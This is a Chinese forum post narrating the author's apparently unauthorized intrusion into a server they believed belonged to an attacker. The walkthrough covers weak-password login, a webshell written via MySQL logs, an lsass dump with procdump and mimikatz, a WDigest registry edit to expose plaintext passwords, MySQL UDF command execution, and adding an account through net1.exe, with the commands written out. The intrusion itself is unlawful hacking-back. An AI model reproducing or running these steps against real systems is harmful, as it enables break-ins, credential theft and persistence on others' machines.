安全矩阵

 找回密码
 立即注册
搜索
查看: 8019|回复: 0

记一次针对恶意攻击者的渗透测试

[复制链接]

23

主题

58

帖子

279

积分

中级会员

Rank: 3Rank: 3

积分
279
发表于 2020-11-22 11:05:46 | 显示全部楼层 |阅读模式
原文链接:记一次针对恶意攻击者的渗透测试
背景

最近在梳理hw期间的文档,发现期间上报的攻击者IP,心里就有了个坏心思,想连上去看看这些攻击者的机器什么样子,于是便有了这篇文章。




信息收集部分

我这边只是用nmap和 fofa简单的看了一下。目标机器开了不少端口,存在好几个web服务,服务器为Windows服务器。
这次的目标是登录目标服务器看看即可,不进行其它任何操作。

  1. Nmap scan report for 49.233.xx.xx
  2. Host is up (0.18s latency).
  3. Not shown: 990 closed ports
  4. PORT      STATE SERVICE            VERSION
  5. 80/tcp    open  http               Apache httpd
  6. 135/tcp   open  msrpc              Microsoft Windows RPC
  7. 139/tcp   open  netbios-ssn        Microsoft Windows netbios-ssn
  8. 443/tcp   open  ssl/https          Apache
  9. 445/tcp   open  microsoft-ds       Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
  10. 3389/tcp  open  ssl/ms-wbt-server?
  11. 49152/tcp open  msrpc              Microsoft Windows RPC
  12. 49153/tcp open  msrpc              Microsoft Windows RPC
  13. 49154/tcp open  msrpc              Microsoft Windows RPC
  14. 49155/tcp open  msrpc              Microsoft Windows RPC
  15. Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

  16. Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
  17. Nmap done: 1 IP address (1 host up) scanned in 118.18 seconds
复制代码



开始

访问该地址的80端口,自动跳转出一个websoft9的运维页面。

我查了一下websoft9这个软件,主要用于提供软件的自动化部署,帮助客户在云服务器上简化企业级软件的安装部署。第一眼看到页面,最先看到的是网站根目录,然后下面的账号密码(不能是真的吧),然后左侧的功能栏里还有数据库管理、phpinfo功能,这,,,这是在勾引我吗?

我打算先用网页上留下的账号和密码登录下试试看,万一呢(手动滑稽~)。


进去了。。。以前看公众号实战文章的时候,很多大佬用弱口令进去了,我还酸我怎么就碰不到这样的站,看样子是自己的经验还是太少了!


写入webshell

连上数据库之后我们可以写个webshell,用mysql的日志或是into outfile的方式。我这里使用的是日志的方式,网站根目录咱们是知道的C:\wwwroot\。

写入后访问发现报not found,怀疑根路径有问题,所以还是通过websoft9自带的phpinfo查看DOCUMENT_ADDR确认,发现根路径为C:\wwwroot\www.example.com\(这个时候我才想起好好看看phpinfo,不合格啊不合格。信息收集在渗透测试中相当重要)。

重新尝试写入webshell。

看结果是成了。

蚁剑连接成功。

连接之后看下权限,system我去,好高。

看一下有没有安装杀毒软件,发现没有安装。

  1. wmic /node:localhost /namespace:\\root\SecurityCenter2 path AntiVirusProduct Get DisplayName | findstr /V /B /C:displayName || echo No Antivirus installed
复制代码


这几个乱码的内容是:

  1. 错误:
  2. 描述 = 无效命名空间
  3. No Antivirus installed
复制代码
命令查看目标服务器的3389端口是开着的,腾讯云的Windows主机,远程端口可不是开着嘛~。~,直到这里都好顺利啊。


尝试获取管理员密码

既然可以执行命令,权限也有了,那就抓一下管理员的密码吧。我在目标服务器上传了procdump64,将内存文件lsass.exe导出为dmp文件,但目标服务器是Windows Server 2012 R2 Datacenter Edition,在上传procdump64之前,我先在我的靶机上试了下,一样的系统,发现不行,但我还是想试试,干!


  1. procdump64.exe -accepteula -ma lsass.exe lsass.dmp
复制代码

从蚁剑上下载dmp文件时,提示下载失败,猜测可能是网速的问题,因为我这代理太次了。这里提醒一下,如果到目标主机的网速比较慢,蚁剑连接、上传/下载文件等操作可能会失败。

直接访问该文件下载。

使用mimikatz进行解析,没有明文密码,果然失败。

关于Windows Server 2012 R2 Datacenter使用mimikatz获取明文密码,我在我的靶机上做了实验。不管是直接使用mimikatz读取还是先procdump64取出,再用mimikatz解析都读不出明文密码,但是可以尝试修改注册表。文章参考链接:https://www.freebuf.com/sectool/96209.html
在注册表中新建UseLogonCredential的DWORD项,值为1,下面是cmd中的命令。

  1. reg add "HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\WDigest" /v UseLogonCredential /d 1 /t REG_DWORD /f
复制代码
我试了一下,是可以的。


还有个问题就是,如果修改了注册表,注册表需要重新载入,我查了下,但并没有找到合适的方式。网上有重载explorer.exe进程的,但是我实验失败了,注册表没有更新成功(我需要的部分,其它部分有没有更新我不能肯定),而且使用这种方式会关闭已打开的窗口,下面是命令。

  1. taskkill /f /im explorer.exe
  2. explorer.exe
复制代码
更新注册表最好的方式是重启系统。


尝试添加新用户

那就试试新建用户吧,直接用新用户登录。但是蚁剑net user命令和systeminfo命令都没有回显,这没有回显我也不知道成没成功啊?想着先把命令先输入进去,看看能不能成功。执行完添加用户的命令尝试远程登录,失败!
最开始以为是蚁剑的问题,换上最近比较火的“哥斯拉”试试,也不行,看样子不是工具的问题,是我的问题。

那咋办哟。试试udf提权这种方式(突发奇想),虽然我是system权限了(捂脸哭),用mysql的sys_exec()或者sys_eval()试试。
mysql版本大于5.1,udf.dll文件必须放置在mysql安装目录的lib\plugin文件夹下,他没有这个文件夹,给他新建上,udf.dll文件在sqlmap中有,sqlmap里的udf.dll是经过编码的,需要先解码,解码的工具就在sqlmap/extra/cloak/cloak.py,命令:

  1. python .\cloak.py -d -i D:\tool\sqlmap\data\udf\mysql\windows\64\lib_mysqludf_sys.dll_
复制代码
解码完了就会在32或64下生成dll文件。
先看下mysql的版本信息,看是使用哪个位数的dll文件,这个位数不是操作系统的位数,是mysql软件的位数,也要看下mysql的目录位置(phpinfo中也有)。


尝试上传。

上传成功,创建函数试一下,命令(为什么不直接用蚁剑的数据库功能执行语句,因为连不上!哭泣!):

  1. create function sys_exec returns string soname "lib_mysqludf_sys.dll";
复制代码

尝试创建用户。


我在靶机(win7,phpstudy)上测试,虽然返回NULL,但是用户是正常添加了的。那这个用户添加上了吗?远程连一下试试看!失败了。后面又试了sys_eval(),虽然可以执行echo命令,但net命令依然是失效的。


copy net1的绝杀

看样子net命令是用不了了,目标系统中文件是有的,然后在看目标系统有没有net命令的时候看到目录下有个net1.exe。想起之前看的乌云安全的文章,链接:https://mp.weixin.qq.com/s/XLa41N0d4TsOMllgo5QEvQ。文章中遇到的情况跟我很相似,Windows Server 2012 的系统、无法使用net、system权限,但作者比我还要麻烦一些。那我也试一下看看。

成了!

net与net1命令关系参考链接:

  1. https://blog.51cto.com/xxcmd/1151515

  2. http://www.safebase.cn/article-124482-1.html
复制代码
总结

本次渗透其实并不复杂,较为简单,文章深度有限。我看了下这台主机,不太像安全人员使用的主机,倒有点像沦陷的“肉鸡”。不过话说回来,咱们hw期间有不少人使用自己买的云主机进行扫描等行为,有些上面还搭着靶机。个人觉得最好还是挂个代理什么的,安全人员也得安全一点。
这次测试纯属运气,一个弱口令解决了太多的问题,web方面的直接略过了,我也深深感受到了弱口令的危害。websoft9官方早已经认识到了这个问题,其在2月15日发布了一则新闻,就是说的弱密码的问题,参考链接:https://www.websoft9.com/news/passwordneedmodify


最后一个问题

我在登录上目标服务器后,发现执行net命令也没有回显,这是为什么呢?(admln用户是后面新建的)

我查了下禁用net、systeminfo命令的方式,找到下面两种:
  • doskey net =  @
  • 如果是Path环境变量删除了“%SystemRoot%\system32;”,则报'net'不是内部命令。

他使用的应该是第一种,不排除使用的我不知道的其它方式,如果doskey net = (空),那么net功能的作用就恢复了(我没有在目标服务器上试)。如果真的是第一种的话,我是不是可以直接在蚁剑的虚拟终端中尝试使用doskey呢?


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 13:42 , Processed in 0.013654 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表